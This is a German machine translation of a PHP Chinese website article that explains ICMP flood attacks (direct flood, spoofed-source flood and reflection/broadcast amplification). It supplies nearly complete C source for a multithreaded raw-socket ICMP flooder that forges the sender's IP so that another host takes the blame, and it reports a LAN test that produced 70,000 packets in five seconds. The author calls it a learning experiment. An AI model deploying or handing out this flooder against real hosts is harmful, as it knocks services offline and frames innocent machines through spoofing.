Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Linux – Beispiel für die Einführung eines ICMP-Flood-Angriffs

Linux – Beispiel für die Einführung eines ICMP-Flood-Angriffs

零下一度
零下一度Original
2017-06-29 15:41:592223Durchsuche

In diesem Artikel werden hauptsächlich die relevanten Informationen zum ICMP-Flood-Angriff auf Linuxim Detail vorgestellt. Interessierte Freunde können sich auf

mich beziehen Im vorherigen Artikel von PING in der Linux-Programmierung“ wurde das ICMP-Protokoll zur Implementierung des PING-Programms verwendet. Welche anderen unbekannten oder interessanten Verwendungszwecke hat ICMP neben der Implementierung eines solchen PING-Programms? Hier werde ich eine weitere bekannte schwarze Technologie von ICMP vorstellen: den ICMP-Flood-Angriff.


Der ICMP-Flood-Angriff ist eine Art des berühmten DOS-Angriffs (Denial of Service), einer beliebten Angriffsmethode von Hackern. Um mein Verständnis von ICMP zu vertiefen, versuche ich es auch Schreiben eines auf ICMP basierenden ICMP-Flood-Angriffs-Applets.


FLOOD ATTACK bezieht sich auf die Verwendung von Computernetzwerktechnologie, um eine große Anzahl nutzloser Datenpakete an den Zielhost zu senden, wodurch der Zielhost mit der Verarbeitung nutzloser Datenpakete beschäftigt ist und keine normalen Dienste bereitstellen kann

Verhalten.

ICMP-Flood-Angriff: Wie der Name schon sagt, sendet er eine Flut von Ping-Paketen an den Zielhost, wodurch der Zielhost mit der Verarbeitung von Ping-Paketen beschäftigt ist und keine anderen normalen Anfragen verarbeiten kann. Dies ist wie bei einem Flut von Ping-Paketen. Der Zielhost wurde überflutet.


Um einen ICMP-Flood-Angriff umzusetzen, sind die folgenden drei Wissensreserven erforderlich:


  • DOS-Angriffsprinzipien

  • Umfassendes Verständnis von ICMP

  • Raw-Socket-Programmierkenntnisse

Prinzip des ICMP-Flood-Angriffs

ICMP-Flood-Angriffe werden auf der Grundlage von Ping erstellt, aber das Ping-Programm verursacht selten Probleme und Ausfallzeiten. Dies liegt daran, dass die Geschwindigkeit, mit der Ping Pakete sendet, zu langsam ist, wie beim PING-Programm Ich habe implementiert, dass die Senderate von Ping-Paketen auf 1 Paket pro Sekunde begrenzt ist. Diese Rate ist mehr als ausreichend, damit der Zielhost Ping-Pakete verarbeiten kann. Um ein „Überschwemmungs“-Phänomen zu verursachen, muss daher die Vertragsausstellungsrate erhöht werden. Hier sind drei ICMP-Flood-Angriffsmethoden:


(1) Direkter Flood-Angriff


Dies erfordert einen Wettbewerb zwischen der Bandbreite des lokalen Hosts und der Bandbreite des Ziels Wenn zum Beispiel die Bandbreite meines Host-Netzwerks 30 MB beträgt und die Bandbreite Ihres Host-Netzwerks nur 3 MB beträgt, ist die Erfolgsquote, einen Flood-Angriff zu starten, um Ihren Host zu überfluten, sehr hoch. Diese Angriffsmethode erfordert, dass die Rechenleistung und Bandbreite des angreifenden Hosts größer sind als die des angegriffenen Hosts, andernfalls kommt es zu DoSed. Basierend auf dieser Idee können wir einen Computer mit hoher Bandbreite und hoher Leistung verwenden, um mithilfe einer Multithreading-Methode mehrere ICMP-Anforderungsnachrichten gleichzeitig zu senden, sodass der Zielhost mit der Verarbeitung einer großen Anzahl dieser Nachrichten beschäftigt ist, was zu einer Verlangsamung führt Geschwindigkeit oder sogar Ausfallzeiten. Diese Methode hat einen großen Nachteil: Die Gegenpartei kann die Angriffsquelle anhand der IP-Adresse des ICMP-Pakets blockieren, sodass der Angriff nicht fortgesetzt werden kann.


(2) Fake-IP-Angriff


Basierend auf dem direkten Flood-Angriff tarnen wir die IP-Adresse des Absenders als eine andere IP, wenn sie als zufällige IP getarnt ist. Sie können Ihren Standort sehr gut verbergen. Wenn Sie Ihre IP-Adresse als die IP anderer Opfer tarnen, führt dies zu einer „Zwietracht“ und die ICMP-Antwortpakete von Opfer-Host 1 werden ebenfalls wie eine Flut an Opfer-Host gesendet 2: Wenn der Administrator von Host 1 herausfinden möchte, welcher Bastard das Paket gesendet hat, um ihn anzugreifen, überprüft er die Quelladresse des ICMP-Pakets und stellt fest, dass es sich um Host 2 handelt. Auf diese Weise wird Host 2 zum Sündenbock.


(3) Reflexionsangriff


Die Idee dieser Art von Angriff unterscheidet sich von den beiden oben genannten Angriffen, und das Design des Reflexionsangriffs ist cleverer. Tatsächlich ist der Angriffsmodus des dritten Modus hier die zusammengeführte und verbesserte Version der ersten beiden Modi. Die Angriffsstrategie des dritten Modus ist ein bisschen wie „Töten mit einem geliehenen Messer“. Der Reflexionsangriff zielt nicht mehr direkt auf den Zielhost, führt jedoch dazu, dass eine Gruppe anderer Hosts ihn mit dem Zielhost verwechselt. Nachdem sie ICMP-Anforderungspakete an sie gesendet haben, sendet eine Gruppe von Hosts dann ICMP-Antwortpakete an den Zielhost, was zu einer Überflutung des Zielhosts aus allen Richtungen führt . Beispielsweise senden wir ICMP-Anforderungspakete an andere Hosts im LAN und tarnen dann unsere eigene IP-Adresse als IP des Zielhosts. Auf diese Weise wird der Unterzielhost zum Fokus des ICMP-Echos. Dieser Angriff ist sehr subtil, da es für den Opferwirt schwierig ist, herauszufinden, wer die Quelle des Angriffs ist.

2. ICMP-Flood-Attacke-Programmdesign

Hier möchte ich ein Beispiel für einen ICMP-Flood-Angriff implementieren Ich möchte die zweite Methode zum Entwerfen verwenden. Obwohl die dritte Methode des „Tötens mit einem geliehenen Messer“ cleverer ist, handelt es sich tatsächlich um eine weitere Erweiterung der Tarnmethode der zweiten Methode, und die Implementierung ist ähnlich.


Geben Sie zunächst das

Modell des Angriffs anBild:

1

Die Paketassemblierung unterscheidet sich hier nicht wesentlich von der Paketassemblierung beim Schreiben des PING-Programms. Das Einzige, was beachtet werden muss, ist, dass wir den IP-Header-Teil ausfüllen müssen, da wir die Quelladresse verschleiern und einfügen möchten die Schuld auf andere.


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}

2 Richten Sie den Sendethread ein


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}

3. Schreiben Sie den Paketsendeschalter

Der Schalter hier ist sehr einfach und kann mit Semaphoren + global implementiert werden Variablen. Wenn wir Strg+C drücken, wird der Angriff ausgeschaltet.


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}

4. Insgesamt Architektur

Wir haben 64 Threads verwendet, um Pakete gemeinsam zu versenden. Natürlich kann die Anzahl der Threads stark erhöht werden, um die Intensität des Angriffs zu erhöhen. Aber wir machen nur Experimente, es besteht keine Notwendigkeit, es so groß zu machen.


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}

3. Experiment

Dieses Experiment dient dem Zweck des Lernens und ich würde es tun Ich möchte das Gerät in der Hand haben und möchte die Anwendung des Netzwerks und der Protokolle weiter verstehen, sodass der Umfang des Angriffs relativ gering ist und nur wenige Sekunden dauert, ohne dass sich dies auf ein Gerät auswirkt.

Lassen Sie uns noch einmal über unsere Angriffsschritte sprechen: Wir verwenden Host 172.0.5.183 als unseren eigenen Angriffshost, tarnen uns als Host 172.0.5.182 und starten einen ICMP-Flood-Angriff auf Host 172.0.5.9.

Der Angriff beginnt

Beobachten wir die Situation auf der „Opfer“-Seite. In nur 5 Sekunden wurden mehr als 70.000 Pakete korrekt empfangen und zur Verarbeitung an die obere Schicht übermittelt. Ich traue mich nicht, zu viel zu tun, um die Arbeit der Maschine nicht zu beeinträchtigen.

Verwenden Sie Wireshark, um die Pakete zu erfassen und einen weiteren Blick darauf zu werfen. Es scheint, dass das Volumen auch sehr groß ist. Die Quelladresse des ICMP-Pakets wird als 172.0.5.182 (unsere gefälschte Adresse) angezeigt und es wird außerdem eine Echo-Antwort an 172.0.5.182 zurückgesendet. Der Host 172.0.5.182 wird definitiv denken, dass es unerklärlich ist, warum er so viele Echo-Antwortpakete erhalten hat.

Das Angriffsexperiment ist abgeschlossen.

Was jetzt beliebter ist, ist der DDOS-Angriff, der leistungsfähiger ist, ausgefeiltere Strategien hat und schwieriger zu verteidigen ist.
Tatsächlich wird dieser DDoS-Angriff auch auf der Basis von DOS gestartet. Die spezifischen Schritte sind wie folgt:

1. Der Angreifer sendet eine Echo-Anfragenachricht an das „Verstärkungsnetzwerk“
2. Der Angreifer gibt die Quell-IP der Broadcast-Nachricht als angegriffenen Host an
3. „Vergrößern Sie das Netzwerk“ und Echo-Antwort an den angegriffenen Host
4. Bilden Sie ein DDoS-Angriffsszenario

hier“ „Verstärktes Netzwerk“ kann als Netzwerk mit vielen Hosts verstanden werden, deren Betriebssysteme die Beantwortung bestimmter ICMP-Anfragepakete unterstützen müssen, deren Zieladresse eine Broadcast-Adresse ist.

Die Angriffsstrategie ist sehr ausgeklügelt. Kurz gesagt besteht sie darin, die Quelladresse als IP-Adresse des angreifenden Hosts zu tarnen und sie dann an alle Hosts zu senden Hosts senden gemeinsam Nachrichten an den angreifenden Host. Senden Sie das Paket zurück, was zu einer Situation führt, in der eine Gruppe von Personen angreift.

Das obige ist der detaillierte Inhalt vonLinux – Beispiel für die Einführung eines ICMP-Flood-Angriffs. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn